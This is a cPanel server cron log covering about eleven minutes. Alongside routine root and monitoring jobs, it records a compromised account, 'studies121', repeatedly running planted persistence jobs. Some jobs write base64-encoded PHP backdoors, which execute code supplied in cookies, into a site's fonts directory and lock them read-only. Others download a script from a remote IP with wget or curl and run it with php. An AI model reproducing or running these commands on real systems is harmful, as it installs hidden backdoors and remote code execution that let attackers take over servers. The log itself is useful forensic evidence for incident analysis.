Sep  4 19:04:01 ip-184-168-122-23 CROND[7033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:04:01 ip-184-168-122-23 CROND[7038]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:04:01 ip-184-168-122-23 CROND[7036]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:04:01 ip-184-168-122-23 CROND[7037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:05:01 ip-184-168-122-23 CROND[7153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:05:01 ip-184-168-122-23 CROND[7156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:05:01 ip-184-168-122-23 CROND[7155]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 19:05:01 ip-184-168-122-23 CROND[7158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:05:01 ip-184-168-122-23 CROND[7159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:05:01 ip-184-168-122-23 CROND[7160]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:05:01 ip-184-168-122-23 CROND[7157]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:06:01 ip-184-168-122-23 CROND[7337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:06:01 ip-184-168-122-23 CROND[7335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:06:01 ip-184-168-122-23 CROND[7338]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:06:01 ip-184-168-122-23 CROND[7336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:06:01 ip-184-168-122-23 CROND[7339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:07:01 ip-184-168-122-23 CROND[7420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:07:01 ip-184-168-122-23 CROND[7423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:07:01 ip-184-168-122-23 CROND[7421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:07:01 ip-184-168-122-23 CROND[7422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:08:01 ip-184-168-122-23 CROND[7497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:08:01 ip-184-168-122-23 CROND[7498]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:08:01 ip-184-168-122-23 CROND[7500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:08:01 ip-184-168-122-23 CROND[7502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:08:01 ip-184-168-122-23 CROND[7507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:09:01 ip-184-168-122-23 CROND[7591]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 19:09:01 ip-184-168-122-23 CROND[7596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:09:01 ip-184-168-122-23 CROND[7595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:09:01 ip-184-168-122-23 CROND[7597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:09:01 ip-184-168-122-23 CROND[7598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:10:01 ip-184-168-122-23 CROND[7707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:10:01 ip-184-168-122-23 CROND[7706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:10:01 ip-184-168-122-23 CROND[7711]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 19:10:01 ip-184-168-122-23 CROND[7712]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:10:01 ip-184-168-122-23 CROND[7709]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:10:01 ip-184-168-122-23 CROND[7710]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:10:01 ip-184-168-122-23 CROND[7708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:10:01 ip-184-168-122-23 CROND[7715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:11:01 ip-184-168-122-23 CROND[7902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:11:01 ip-184-168-122-23 CROND[7903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:11:01 ip-184-168-122-23 CROND[7904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:11:01 ip-184-168-122-23 CROND[7906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:12:01 ip-184-168-122-23 CROND[8009]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:12:01 ip-184-168-122-23 CROND[8011]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:12:01 ip-184-168-122-23 CROND[8013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:12:01 ip-184-168-122-23 CROND[8012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:12:01 ip-184-168-122-23 CROND[8014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:13:01 ip-184-168-122-23 CROND[8104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:13:01 ip-184-168-122-23 CROND[8106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:13:01 ip-184-168-122-23 CROND[8105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:13:01 ip-184-168-122-23 CROND[8103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:13:01 ip-184-168-122-23 CROND[8103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:14:01 ip-184-168-122-23 CROND[8183]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:14:01 ip-184-168-122-23 CROND[8184]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:14:01 ip-184-168-122-23 CROND[8185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:14:01 ip-184-168-122-23 CROND[8188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:14:01 ip-184-168-122-23 CROND[8187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:15:01 ip-184-168-122-23 CROND[8282]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:15:01 ip-184-168-122-23 CROND[8280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:15:01 ip-184-168-122-23 CROND[8283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:15:01 ip-184-168-122-23 CROND[8281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:15:01 ip-184-168-122-23 CROND[8284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:15:01 ip-184-168-122-23 CROND[8285]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
